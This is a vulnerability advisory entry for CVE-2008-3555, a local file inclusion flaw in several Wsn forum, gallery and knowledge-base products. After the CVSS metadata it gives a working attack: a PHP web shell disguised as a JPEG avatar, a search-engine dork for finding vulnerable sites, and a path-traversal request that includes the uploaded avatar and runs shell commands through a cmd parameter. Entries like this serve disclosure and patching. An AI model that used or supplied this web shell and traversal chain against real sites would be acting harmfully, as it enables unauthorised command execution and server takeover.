Multiple Wsn Products (LFI) Code Execution Vulnerability

2008.08.11

Credit: otmorozok428

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2008-3555

CWE: CWE-22

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

Author: otmorozok428, http://forum.antichat.ru 

Products: Wsn Forum <= 4.1.43, Wsn Knowledge Base <= 4.1.36, Wsn Links <= 4.1.44, Wsn Gallery <= 4.1.30

Vendor: http://www.webmastersite.net

Googling: inurl:memberlist.php?action=profile

Code Execution Vulnerability: 

Avatar evil.jpg source: <? system($_GET['cmd']); ?>

Enter to upload: http://www.site.com/forum/profile.php?action=editprofile&id=[Your User ID]

See the avatar name at your profile.

Upload evil avatar and go to: index.php?custom=yes&TID=../../attachments/avatars/[Avatar Name]&ext=jpg&cmd=ls -al

References:

http://xforce.iss.net/xforce/xfdb/44236

http://www.milw0rm.com/exploits/6208

See this note in RAW Version

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Multiple Wsn Products (LFI) Code Execution Vulnerability

References:

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